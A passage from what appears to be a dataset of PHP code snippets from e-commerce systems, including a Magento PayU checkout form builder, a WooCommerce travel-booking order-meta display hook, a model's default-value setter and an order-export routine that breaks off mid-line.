\"\\n\";\n//print_r($xml_ret);\n//print_r(\"\\nError: \" . $z->get_errno());\n } else\n $res->orderItemError->_value = 'unknown agencyId';\n }\n\n $ret->orderItemResponse->_value = $res;\n //var_dump($param); var_dump($res); die();\n return $ret;\n }", "public function getFormFields() {\r\r\n\r\r\n $billing = $this->getOrder()->getBillingAddress();\r\r\n $shipping = $this->getOrder()->getShippingAddress();\r\r\n $addr_entity_id = $shipping->getCustomerAddressId();\r\r\n $shippingaddress = Mage::getModel('sales/order_address');\r\r\n $shippingaddress->load($addr_entity_id);\r\r\n $shipaddgetdat = $shippingaddress->getData();\r\r\n\r\r\n\r\r\n\r\r\n $biladdr_entity_id = $billing->getCustomerAddressId();\r\r\n ;\r\r\n $billingaddress = Mage::getModel('sales/order_address');\r\r\n $billingaddress->load($biladdr_entity_id);\r\r\n $billaddgetdat = $billingaddress->getData();\r\r\n\r\r\n $coFields = array();\r\r\n $items = $this->getQuote()->getAllItems();\r\r\n\r\r\n if ($items) {\r\r\n $i = 1;\r\r\n foreach ($items as $item) {\r\r\n if ($item->getParentItem()) {\r\r\n continue;\r\r\n }\r\r\n $coFields['c_prod_' . $i] = $this->cleanString($item->getSku());\r\r\n $coFields['c_name_' . $i] = $this->cleanString($item->getName());\r\r\n $coFields['c_description_' . $i] = $this->cleanString($item->getDescription());\r\r\n $coFields['c_price_' . $i] = number_format($item->getPrice(), 2, '.', '');\r\r\n $i++;\r\r\n }\r\r\n }\r\r\n\r\r\n $request = '';\r\r\n foreach ($coFields as $k => $v) {\r\r\n $request .= '<' . $k . '>' . $v . '</' . $k . '>';\r\r\n }\r\r\n\r\r\n\r\r\n $key = Mage::getStoreConfig('payment/payucheckout_shared/key');\r\r\n $salt = Mage::getStoreConfig('payment/payucheckout_shared/salt');\r\r\n $debug_mode = Mage::getStoreConfig('payment/payucheckout_shared/debug_mode');\r\r\n\r\r\n $orderid = $this->getOrder()->getRealOrderId();\r\r\n $orderInfo = $this->getOrder();\r\r\n $order = Mage::getModel('sales/order')->loadByIncrementId($orderid);\r\r\n// get order total value\r\r\n $orderValue = number_format($order->getGrandTotal(), 2, '.', $thousands_sep = '');\r\r\n// get order item collection\r\r\n $orderItems = $order->getItemsCollection();\r\r\n $productInfo = array();\r\r\n $productInfo2 = array();\r\r\n \r\r\n \r\r\n foreach ($orderItems as $item) {\r\r\n \r\r\n $item->getName();\r\r\n $product_id = $item->product_id;\r\r\n $product_sku = $item->sku;\r\r\n $product_name = $item->getName();\r\r\n $_product = Mage::getModel('catalog/product')->load($product_id);\r\r\n $cats = $_product->getCategoryIds();\r\r\n $category_id = $cats[0]; // just grab the first id\r\r\n $category = Mage::getModel('catalog/category')->load($category_id);\r\r\n $category_name = $category->getName();\r\r\n\r\r\n $productInfo['name'] = $this->cleanString($item->getName());\r\r\n $productInfo['description'] = $this->cleanString(substr($_product->getDescription(),0,100));\r\r\n $productInfo['value'] = $orderValue;\r\r\n $productInfo['isRequired'] = true;\r\r\n $productInfo['settlementEvent'] = \"EmailConfirmation\";\r\r\n $productInfo2[] = $productInfo;\r\r\n }\r\r\n $productIndoFilterData['paymentParts'] = $productInfo2;\r\r\n $jsonProductInfo = json_encode($productIndoFilterData);\r\r\n\r\r\n $txnid = $orderid;\r\r\n\r\r\n $coFields['key'] = $key;\r\r\n $coFields['txnid'] = $txnid;\r\r\n $coFields['udf2'] = $txnid;\r\r\n $coFields['amount'] = number_format($this->getOrder()->getBaseGrandTotal(), 0, '', '');\r\r\n $coFields['productinfo'] = $jsonProductInfo;\r\r\n $coFields['address'] = $billaddgetdat['street'];\r\r\n $coFields['firstname'] = $billing->getFirstname();\r\r\n $coFields['Lastname'] = $billing->getLastname();\r\r\n $coFields['City'] = $billing->getCity();\r\r\n $coFields['State'] = $billing->getRegion();\r\r\n $coFields['Country'] = $billing->getCountry();\r\r\n $coFields['Zipcode'] = $billing->getPostcode();\r\r\n $coFields['email'] = $this->getOrder()->getCustomerEmail();\r\r\n $coFields['phone'] = $billing->getTelephone();\r\r\n\r\r\n $coFields['ship_name'] = $shipping->getFirstname() . \" \" . $shipping->getLastname();\r\r\n $coFields['ship_address'] = $shipaddgetdat['street'];\r\r\n $coFields['ship_zipcode'] = $shipping->getPostcode();\r\r\n $coFields['ship_city'] = $shipping->getCity();\r\r\n $coFields['ship_state'] = $shipping->getRegion();\r\r\n $coFields['ship_country'] = $shipping->getCountry();\r\r\n $coFields['ship_phone'] = $shipping->getTelephone();\r\r\n $coFields['website'] = Mage::getBaseUrl();\r\r\n $coFields['surl'] = Mage::getBaseUrl() . 'payucheckout/shared/success/';\r\r\n $coFields['furl'] = Mage::getBaseUrl() . 'payucheckout/shared/failure/';\r\r\n $coFields['curl'] = Mage::getBaseUrl() . 'payucheckout/shared/canceled/id/' . $this->getOrder()->getRealOrderId();\r\r\n $coFields['Pg'] = $billing->getpg();\r\r\n $coFields['bankcode'] = $billing->getbankcode();\r\r\n $coFields['ccnum'] = $billing->getccnum();\r\r\n $coFields['ccvv'] = $billing->getccvv();\r\r\n $coFields['ccexpmon'] = $billing->getccexpmon();\r\r\n $coFields['ccexpyr'] = $billing->getccexpyr();\r\r\n $coFields['ccname'] = $billing->getccname();\r\r\n $coFields['service_provider'] = 'payu_paisa';\r\r\n\r\r\n $debugId = '';\r\r\n \r\r\n\r\r\n if ($debug_mode == 1) {\r\r\n\r\r\n $requestInfo = $key . '|' . $coFields['txnid'] . '|' . $coFields['amount'] . '|' .\r\r\n $jsonProductInfo . '|' . $coFields['firstname'] . '|' . $coFields['email'] . '|' . $debugId . '||||||||||' . $salt;\r\r\n $debug = Mage::getModel('payucheckout/api_debug')\r\r\n ->setRequestBody($requestInfo)\r\r\n ->save();\r\r\n\r\r\n $debugId = $debug->getId();\r\r\n\r\r\n $coFields['udf1'] = $debugId;\r\r\n $coFields['Hash'] = hash('sha512', $key . '|' . $coFields['txnid'] . '|' . $coFields['amount'] . '|' .\r\r\n $jsonProductInfo . '|' . $coFields['firstname'] . '|' . $coFields['email'] . '|' . $debugId . '|' . $coFields['udf2'] . '|||||||||' . $salt);\r\r\n } else {\r\r\n $coFields['Hash'] = strtolower(hash('sha512', $key . '|' . $coFields['txnid'] . '|' . $coFields['amount'] . '|' .\r\r\n $jsonProductInfo . '|' . $coFields['firstname'] . '|' . $coFields['email'] . '||' . $coFields['udf2'] . '|||||||||' . $salt));\r\r\n }\r\r\n return $coFields;\r\r\n }", "function before_order_itemmeta($item_id, $item, $_product) {\r\r\n\t\r\r\n\t\tglobal $bookyourtravel_accommodation_helper, $bookyourtravel_tour_helper, $bookyourtravel_cruise_helper, $bookyourtravel_car_rental_helper;\r\r\n\t\t\r\r\n\t\t$product_id \t= $item['product_id'];\r\r\n\t\t$variation_id = $item['variation_id'];\r\r\n\t\t\r\r\n\t\t$variation = new WC_Product_Variation($variation_id);\r\r\n\t\t\r\r\n\t\t$accommodation_booking_id = wc_get_order_item_meta($item_id, BOOKYOURTRAVEL_WOOCOMMERCE_ACCOMMODATION_BOOKING_ID, true);\r\r\n\t\tif ($accommodation_booking_id) {\r\r\n\t\t\r\r\n\t\t\t$booking_entry = $bookyourtravel_accommodation_helper->get_accommodation_booking($accommodation_booking_id);\r\r\n\t\t\t\r\r\n\t\t\tif ($booking_entry != null && $variation != null) {\r\r\n\t\t\t\r\r\n\t\t\t\t$accommodation_id = $booking_entry->accommodation_id;\r\r\n\t\t\t\t$accommodation_obj = new BookYourTravel_Accommodation($accommodation_id);\r\r\n\t\t\t\t$room_type_obj = null;\r\r\n\t\t\t\t$room_type_id = $booking_entry->room_type_id;\r\r\n\t\t\t\tif ($room_type_id > 0) {\r\r\n\t\t\t\t\t$room_type_obj = new BookYourTravel_Room_Type($room_type_id);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t$adults = $booking_entry->adults;\r\r\n\t\t\t\t$children = $booking_entry->children;\r\r\n\t\t\t\t$room_count = $booking_entry->room_count;\r\r\n\t\t\t\t$date_from = $booking_entry->date_from;\r\r\n\t\t\t\t$date_from = date($this->date_format, strtotime($date_from));\r\r\n\t\t\t\t$date_to = $booking_entry->date_to;\r\r\n\t\t\t\t$date_to = date($this->date_format, strtotime($date_to));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$extra_items_string = '';\t\t\t\t\r\r\n\t\t\t\t$extra_items_array = array();\r\r\n\t\t\t\tif (!empty($booking_entry->extra_items)) {\r\r\n\t\t\t\t\t$extra_items_array = unserialize($booking_entry->extra_items);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\tif ($extra_items_array != null) {\r\r\n\t\t\t\t\tforeach ($extra_items_array as $extra_item_id => $extra_item_quantity) {\r\r\n\t\t\t\t\t\t$extra_item_obj = new BookYourTravel_Extra_Item($extra_item_id);\r\r\n\t\t\t\t\t\t$extra_items_string .= $extra_item_quantity . ' x ' . $extra_item_obj->get_title() . ', ';\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\t\t$extra_items_string = trim(rtrim($extra_items_string, ', '));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$item_text = '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $accommodation_obj->get_title()) . '<br />';\r\r\n\t\t\t\tif ($room_type_obj) {\r\r\n\t\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $room_type_obj->get_title()) . '<br />';\r\r\n\t\t\t\t}\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('Dates: %s to %s', 'bookyourtravel'), $date_from, $date_to) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('People: %d adults, %d children', 'bookyourtravel'), $adults, $children) . '<br />';\r\r\n\t\t\t\t\r\r\n\t\t\t\tif (!empty($extra_items_string)) {\r\r\n\t\t\t\t\t$item_text .= esc_html__('Extras: ', 'bookyourtravel') . $extra_items_string;\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\techo $item_text;\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\r\r\n\t\t$tour_booking_id = wc_get_order_item_meta($item_id, BOOKYOURTRAVEL_WOOCOMMERCE_TOUR_BOOKING_ID, true);\r\r\n\t\tif ($tour_booking_id) {\r\r\n\t\t\r\r\n\t\t\t$booking_entry = $bookyourtravel_tour_helper->get_tour_booking($tour_booking_id);\r\r\n\t\t\t\r\r\n\t\t\tif ($booking_entry != null && $variation != null) {\r\r\n\t\t\t\r\r\n\t\t\t\t$tour_schedule = $bookyourtravel_tour_helper->get_tour_schedule($booking_entry->tour_schedule_id);\r\r\n\t\t\t\t$booking_entry->tour_id = $tour_schedule->tour_id;\r\r\n\r\r\n\t\t\t\t$tour_id = $booking_entry->tour_id;\r\r\n\t\t\t\t$tour_obj = new BookYourTravel_Tour($tour_id);\r\r\n\t\t\t\t$adults = $booking_entry->adults;\r\r\n\t\t\t\t$children = $booking_entry->children;\r\r\n\t\t\t\t$tour_date = $booking_entry->tour_date;\r\r\n\t\t\t\t$tour_date = date($this->date_format, strtotime($tour_date));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$extra_items_string = '';\t\t\t\t\r\r\n\t\t\t\t$extra_items_array = array();\r\r\n\t\t\t\tif (!empty($booking_entry->extra_items)) {\r\r\n\t\t\t\t\t$extra_items_array = unserialize($booking_entry->extra_items);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\tif ($extra_items_array != null) {\r\r\n\t\t\t\t\tforeach ($extra_items_array as $extra_item_id => $extra_item_quantity) {\r\r\n\t\t\t\t\t\t$extra_item_obj = new BookYourTravel_Extra_Item($extra_item_id);\r\r\n\t\t\t\t\t\t$extra_items_string .= $extra_item_quantity . ' x ' . $extra_item_obj->get_title() . ', ';\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\t\t$extra_items_string = trim(rtrim($extra_items_string, ', '));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$item_text = '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $tour_obj->get_title()) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('Tour date: %s', 'bookyourtravel'), $tour_date) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('People: %d adults, %d children', 'bookyourtravel'), $adults, $children) . '<br />';\r\r\n\t\t\t\t\r\r\n\t\t\t\tif (!empty($extra_items_string)) {\r\r\n\t\t\t\t\t$item_text .= esc_html__('Extras: ', 'bookyourtravel') . $extra_items_string;\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\techo $item_text;\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\t$cruise_booking_id = wc_get_order_item_meta($item_id, BOOKYOURTRAVEL_WOOCOMMERCE_CRUISE_BOOKING_ID, true);\r\r\n\t\tif ($cruise_booking_id) {\r\r\n\t\t\r\r\n\t\t\t$booking_entry = $bookyourtravel_cruise_helper->get_cruise_booking($cruise_booking_id);\r\r\n\t\t\t\r\r\n\t\t\tif ($booking_entry != null && $variation != null) {\r\r\n\t\t\t\r\r\n\t\t\t\t$cruise_schedule = $bookyourtravel_cruise_helper->get_cruise_schedule($booking_entry->cruise_schedule_id);\r\r\n\t\t\t\t$booking_entry->tour_id = $cruise_schedule->cruise_id;\r\r\n\t\t\t\t$booking_entry->cabin_type_id = $cruise_schedule->cabin_type_id;\r\r\n\t\t\t\t\r\r\n\t\t\t\t$cruise_id = $booking_entry->cruise_id;\r\r\n\t\t\t\t$cruise_obj = new BookYourTravel_Cruise($cruise_id);\r\r\n\t\t\t\t$cabin_type_obj = null;\r\r\n\t\t\t\t$cabin_type_id = $booking_entry->cabin_type_id;\r\r\n\t\t\t\tif ($cabin_type_id > 0) {\r\r\n\t\t\t\t\t$cabin_type_obj = new BookYourTravel_Cabin_Type($cabin_type_id);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t$adults = $booking_entry->adults;\r\r\n\t\t\t\t$children = $booking_entry->children;\r\r\n\t\t\t\t$cruise_date = $booking_entry->cruise_date;\r\r\n\t\t\t\t$cruise_date = date($this->date_format, strtotime($cruise_date));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$extra_items_string = '';\t\t\t\t\r\r\n\t\t\t\t$extra_items_array = array();\r\r\n\t\t\t\tif (!empty($booking_entry->extra_items)) {\r\r\n\t\t\t\t\t$extra_items_array = unserialize($booking_entry->extra_items);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\tif ($extra_items_array != null) {\r\r\n\t\t\t\t\tforeach ($extra_items_array as $extra_item_id => $extra_item_quantity) {\r\r\n\t\t\t\t\t\t$extra_item_obj = new BookYourTravel_Extra_Item($extra_item_id);\r\r\n\t\t\t\t\t\t$extra_items_string .= $extra_item_quantity . ' x ' . $extra_item_obj->get_title() . ', ';\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\t\t$extra_items_string = trim(rtrim($extra_items_string, ', '));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$item_text = '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $cruise_obj->get_title()) . '<br />';\r\r\n\t\t\t\tif ($cabin_type_obj) {\r\r\n\t\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $cabin_type_obj->get_title()) . '<br />';\r\r\n\t\t\t\t}\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('Cruise date: %s', 'bookyourtravel'), $cruise_date) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('People: %d adults, %d children', 'bookyourtravel'), $adults, $children) . '<br />';\r\r\n\t\t\t\t\r\r\n\t\t\t\tif (!empty($extra_items_string)) {\r\r\n\t\t\t\t\t$item_text .= esc_html__('Extras: ', 'bookyourtravel') . $extra_items_string;\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\techo $item_text;\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\t$car_rental_booking_id = wc_get_order_item_meta($item_id, BOOKYOURTRAVEL_WOOCOMMERCE_CAR_RENTAL_BOOKING_ID, true);\r\r\n\t\tif ($car_rental_booking_id) {\r\r\n\t\t\r\r\n\t\t\t$booking_entry = $bookyourtravel_car_rental_helper->get_car_rental_booking($car_rental_booking_id);\r\r\n\t\t\t\r\r\n\t\t\tif ($booking_entry != null && $variation != null) {\r\r\n\t\t\t\r\r\n\t\t\t\t$car_rental_id = $booking_entry->car_rental_id;\r\r\n\t\t\t\t$car_rental_obj = new BookYourTravel_Car_Rental($car_rental_id);\r\r\n\r\r\n\t\t\t\t$start_date = $booking_entry->from_day;\r\r\n\t\t\t\t$start_date = date($this->date_format, strtotime($start_date));\r\r\n\t\t\t\t$end_date = $booking_entry->to_day;\r\r\n\t\t\t\t$end_date = date($this->date_format, strtotime($end_date));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$extra_items_string = '';\t\t\t\t\r\r\n\t\t\t\t$extra_items_array = array();\r\r\n\t\t\t\tif (!empty($booking_entry->extra_items)) {\r\r\n\t\t\t\t\t$extra_items_array = unserialize($booking_entry->extra_items);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\tif ($extra_items_array != null) {\r\r\n\t\t\t\t\tforeach ($extra_items_array as $extra_item_id => $extra_item_quantity) {\r\r\n\t\t\t\t\t\t$extra_item_obj = new BookYourTravel_Extra_Item($extra_item_id);\r\r\n\t\t\t\t\t\t$extra_items_string .= $extra_item_quantity . ' x ' . $extra_item_obj->get_title() . ', ';\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\r\r\n\t\t\t\t$extra_items_string = trim(rtrim($extra_items_string, ', '));\r\r\n\t\t\t\t\r\r\n\t\t\t\t$item_text = '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('%s', 'bookyourtravel'), $car_rental_obj->get_title()) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('From date: %s', 'bookyourtravel'), $start_date) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('To date: %s', 'bookyourtravel'), $end_date) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('Pick up: %s', 'bookyourtravel'), $booking_entry->pick_up_title) . '<br />';\r\r\n\t\t\t\t$item_text .= sprintf(esc_html__('Drop off: %s', 'bookyourtravel'), $booking_entry->drop_off_title) . '<br />';\r\r\n\t\t\t\t\r\r\n\t\t\t\tif (!empty($extra_items_string)) {\r\r\n\t\t\t\t\t$item_text .= esc_html__('Extras: ', 'bookyourtravel') . $extra_items_string;\r\r\n\t\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\t\techo $item_text;\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\t}", "public function applyDefaultValues()\n {\n $this->sessionid = '';\n $this->recno = 0;\n $this->type = '';\n $this->custid = '';\n $this->shiptoid = '';\n $this->custname = '';\n $this->orderno = '';\n $this->custpo = '';\n $this->custref = '';\n $this->status = '';\n $this->orderdate = '';\n $this->careof = '';\n $this->quotdate = '';\n $this->invdate = '';\n $this->shipdate = '';\n $this->revdate = '';\n $this->expdate = '';\n $this->hasdocuments = '';\n $this->hastracking = '';\n $this->subtotal = '0.00';\n $this->salestax = '0.00';\n $this->freight = '0.00';\n $this->misccost = '0.00';\n $this->ordertotal = '0.00';\n $this->hasnotes = '';\n $this->editord = '';\n $this->error = '';\n $this->errormsg = '';\n $this->sconame = '';\n $this->shipname = '';\n $this->shipaddress = '';\n $this->shipaddress2 = '';\n $this->shipcity = '';\n $this->shipstate = '';\n $this->shipzip = '';\n $this->shipcountry = '';\n $this->contact = '';\n $this->phintl = '';\n $this->phone = '';\n $this->extension = '';\n $this->faxnbr = '';\n $this->email = '';\n $this->releasenbr = '';\n $this->shipviacd = '';\n $this->shipviadesc = '';\n $this->pricecode = '';\n $this->pricecodedesc = '';\n $this->pricedisp = '';\n $this->taxcode = '';\n $this->taxcodedesc = '';\n $this->taxcodedisp = '';\n $this->termcode = '';\n $this->termtype = '';\n $this->termcodedesc = '';\n $this->rqstdate = '';\n $this->shipcom = '';\n $this->sp1 = '';\n $this->sp1name = '';\n $this->sp2 = '';\n $this->sp2name = '';\n $this->sp2disp = '';\n $this->sp3 = '';\n $this->sp3name = '';\n $this->sp3disp = '';\n $this->fob = '';\n $this->deliverydesc = '';\n $this->whse = '';\n $this->cardnumber = '';\n $this->cardexpire = '';\n $this->cardcode = '';\n $this->cardapproval = '';\n $this->totalcost = '';\n $this->totaldiscount = '';\n $this->paymenttype = '';\n $this->srcdatefrom = '';\n $this->srcdatethru = '';\n $this->billname = '';\n $this->billaddress = '';\n $this->billaddress2 = '';\n $this->billaddress3 = '';\n $this->billcountry = '';\n $this->billcity = '';\n $this->billstate = '';\n $this->billzip = '';\n $this->prntfmt = '';\n $this->prntfmtdisp = '';\n $this->dummy = 'x';\n }", "protected function writeOrder($order, $fp) \n {\n $common = $this->getCommonOrderValues($order);\n\t\t//echo '<pre>';print_r($common);exit;\n\t\t//echo strtolower($common[8]);exit;\n\t\t\n\t\t\n\t\t$invoices = Mage::getResourceModel('sales/order_invoice_collection')\n ->setOrderFilter($order->getId())\n ->load();\n\t\t//echo $invoices->getSelect();exit;\n\t\t$realShipments = Mage::getModel('sales/order_shipment_track')->getCollection()\n ->addFieldToFilter('order_id',$order->getId())\n\t\t\t\t\t ->addAttributeToSelect('*');\n\n $orderItems = $order->getItemsCollection();\n\t\t//echo $orderItems->getSelect();exit;\n $itemInc = 0;\n\t\t$invoiceInc=0;\n\t\t$invoices_data = $invoices->getData();\n\t\t$invoiceprice = 0;\n\t\t$invoiceDiscount = 0;\n\t\t\n\t\tif(!empty($invoices_data)){\n\t\t\n\t\t foreach($invoices as $invoice){\n\t\t //$invoiceArray = $this->getInvoiceValues($invoice);\n\t\t //var_dump($invoiceArray);exit;\n\t\t //var_dump($this->getInvoiceValues($invoice));exit;\n\t\t $invoiceArray[] = $invoices_data[0]['increment_id'];\n\t\t $createdDate = $invoice->getCreatedAt();\n\t\t $invoiceprice = $invoice->getGrandTotal();\n\t\t $invoice_mrp = $invoice->getData('base_subtotal_incl_tax'); //kishan\n\t\t //var_dump($invoice_mrp);\n\t\t $invoiceDiscount = $invoice->getData('base_discount_amount'); //kishan\n\t\t //$taxvalueTotal = $invoice->getData('base_tax_amount');\t//kishan\n\t\t }\n\t\t }else{\n\t\t $invoiceArray[] = '';\n\t\t $invoiceArray[] ='';\n\t\t $invoiceprice = 0;\n\t\t \n\t\t }\n\t\t\n\t\t //echo '<pre>';print_r($invoices->getData());exit;\n\t\t \n\t\t$paymentmethod[] = $this->getPaymentMethod($order);\n\t\t$order_date[] = Mage::helper('core')->formatDate($order->getCreatedAt(), 'medium', true);\n\t\t \n\t\t \n\t\t $shipment_data = $realShipments->getData();\n\t\tif(!empty($shipment_data)){\n\t\t\n\t\t\t foreach($realShipments as $shipment){ \n\t\t\t $shipmentArray = $this->getShipmentValues($shipment , $order);\n\t\t\t $airwaybillnoArray = $this->getAirwaybillno($shipment);\n\t\t\t }\n\t\t }else{\n\t\t\t \n\t\t\t$shipment_data =$this->getShipmentValuesfromdirect($order);\n\t\t\t$airwaybillnoArray = $this->getAirwaybillnofromdirect($order);\n\t\t\t\n\t\t\tif(!empty($shipment_data))\n\t\t\t{\n\t\t\t$shipmentArray = $shipment_data;\n\t\t\t$shipmentArray[] ='';\t\n\t\t\t}else{\n\t\t\t $shipmentArray[] = '';\n\t\t\t $shipmentArray[] = '';\n\t\t\t $shipmentArray[] = '';\n\t\t\t}\n\t\t\t\n\t\t\tif(empty($airwaybillnoArray)){\n\t\t\t\t$airwaybillnoArray[] = '';\n\t\t\t}\n\t\t\n\t\t \n\t\t }\n\t\t \n\t\t\n\t\t $itemtitle='';\n\t\t $itemqty = 0;\n\t\t $itemweight =0;\n\t\t $categorytitle ='';\n\t\t $stockno = '';\n\t\t //$productprice = 0;\n\t\t\n foreach ($orderItems as $item)\n {\n \tif($item->getData('product_type')=='configurable'){\n\n \t\t$sqty+=$item->getData('qty_shipped');\n \t//\t$totaltax+=$item->getData('tax_amount');\n }\n\t\t\t\n\t\t\t$_newProduct = Mage::getModel('catalog/product')->load($item->getData('product_id'));\n\t\t\t\tif($item->getData('product_type')=='simple'){\n\t\t\t\t\t$titlenew = $this->getOrderItemTitle($item);\n\t\t\t\t\tif($titlenew !=\"\") {\n\t\t\t\t\t\t$itemtitle = $itemtitle.$titlenew.\" , \";/*--kishan--*/\n\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t}\n\t \t\t\n\t\t \t\t\n\t\t\t\t$mrp = $mrp+floatval($item['base_row_total_incl_tax']);/*--kishan--*/\n\t\t\t\t//var_dump(intval($item['base_discount_amount']));exit;\n\t\t\t\t$discount = $discount+floatval($item['base_discount_amount']);/*--kishan--*/\n\t\t\t\t$tax = $tax+floatval($item['base_tax_amount']);\n\t\t\t\t\n\t\t//\tif(){}\n\t\t\t\t/*kishan*/\n\t\t\t\t/*echo '<pre>';\n\t\t\t\tprint_r($item->getData('qty_shipped'));\n\t\t\t\texit;*/\n\t\t\tif($item->getData('product_type')=='configurable'){\n\n\t\t\t\t $titlenew = $this->getOrderItemTitle($item);\n\t\t\t\t $itemtitle = $itemtitle.$titlenew.\" , \";\n\t\t\t\t\n\t\t\t\t//get category name\n\t\t\t\t$cats = $_newProduct->getCategoryIds();\n\n\n\t\t\t\tif(!empty($cats)){\n\t\t\t\t//\tprint_r($cats);\n\t\t\t\t\t$categoryCount=count($cats);\n\t\t\t\t\t$category = Mage::getModel('catalog/category')->load($cats[$categoryCount-1]);\n\t\t\t\t\t$parentId=Mage::getModel('catalog/category')->load($cats[$categoryCount-1])->getParentId();\n\t\t\t\t\t$pcategory = Mage::getModel('catalog/category')->load($parentId);\n\t\t\t\t\t$parentCategoryName=$pcategory->getData('name');\n\t\t\t\t\t//var_dump($parentCategoryName);\n\t\t\t\t\tif(trim($parentCategoryName)=='Category'){\n\t\t\t\t\t\t$categoryParentId=Mage::getModel('catalog/category')->load($pcategory->getId())->getParentId();\n\t\t\t\t\t\t$parentCategory = Mage::getModel('catalog/category')->load($categoryParentId);\n\t\t\t\t\t\t$parentCategoryName=$parentCategory->getData('name');\n\t\t\t\t\t\t//$parentCategoryName=$pcategory->getData('name');\n\t\t\t\t\t\t//$pcategory = Mage::getModel('catalog/category')->load($parentId);\n\t\t\t\t\t}\n\t\t\t\t\tif($category->getData('name')!='Category'){\n\t\t\t\t\t\t$categorytitle = $categorytitle.$parentCategoryName.' '.$category->getData('name').\" , \";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\t\t\t\t\n\n\t\t\t\t$productprice = ($productprice + $item->getData('price')*$qty);\n\t\t\t\t\n\t\t\t}\n\t\t\telse if($item->getData('product_type')=='simple'){\n\t\t\t\t$qt = $item->getQtyOrdered();/*written by shaily*/\n\t\t\t\t$itemqty = $itemqty + $qt ;\n\t\t\t\t\n\t\t\t\t$weght = $this->getOrderItemWeight($item);\n\t\t\t\t$itemweight = $itemweight + $weght ;\n\t\t\t\t$productcode=$item['sku'];//code \n\t\t\t\t//var_dump(is_numeric($item['sku']));\n\n\t\t\t\tif(is_numeric($productcode)){\n\t\t\t\t $stockno = $stockno.$_newProduct->getData('sku').\" , \";}\n\t\t\t\telse{\n\n\t\t\t\t\t$attr = Mage::getModel('catalog/product')->loadByAttribute('sku',$productcode);\n\t\t\t\t\t$stockno = $stockno.$_newProduct->getData('sku').\" , \";\n\n\t\t\t\t}\n\t\t\t\t/*$attr = Mage::getModel('catalog/product')->loadByAttribute('sku',$productcode);\n\t\t\t\t$stockno = $stockno.$_newProduct->getData('sku').\" , \"; */\n\t\t\t\t\n\t\t\t\t$productprice = ($productprice + $item->getData('price')*$qty);\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t}\n\t\t$shippedqtynew[]=$sqty;\n\t\t//\n\t\t$order2 = Mage::getModel('sales/order')->load($order->getId());\n\t\t$items = $order2->getAllItems();\n\t\t//$_totalData = $order->getData();\n\t\t/*echo '<pre>';\t\n\t\t\tprint_r($order->getData('base_total_invoiced'));\n\t\texit;*/\n\t\t\t\n\t\t\t$totaltaxnew[]=$order->getData('tax_amount');\n\t\t\t$order_id = $order->getId(); //use your own order id\n\t\t\t$order = Mage::getModel(\"sales/order\")->load($order_id); //load order by order id\n\t\t\t$ordered_items = $order->getAllItems();\n\t\t\t$specialprice=0;\n\t\t\t//echo \"<pre>\";\n\t\t\t//print_r($order->getAllItems());\n\t\t\t//print_r($qty_orderedArray);\n\t\t\t//exit;\n\t\t\t$skucounter=0;\n\t\t\tforeach($ordered_items as $item){\n\t\t\t//item detail\n\t\t\t\t//print_r($item->getData('product_type'));\n\t\t\t\t\tif($item->getData('product_type')=='configurable'){\n\t\t\t\t\t\t$sku=$item->getData('sku');\n\t\t\t\t\t\t$qty_ordered=$item->getData('qty_ordered');\n\t\t\t\t\t\t$itemsArray[$skucounter]=$sku;\n\t\t\t\t\t\t$qty_orderedArray[$skucounter]=$qty_ordered;\n\t\t\t\t\t\t$skucounter++;\n\t\t\t\t\t}\n\t\t\t\t$qty_ordered=$item->getData('qty_ordered');\n\t\t\t\t$attr = Mage::getModel('catalog/product')->loadByAttribute('sku',$sku);\n\t\t\t\t$product_id = Mage::getModel('catalog/product')->getIdBySku($sku);\n\t\t\t\t$parentIds = 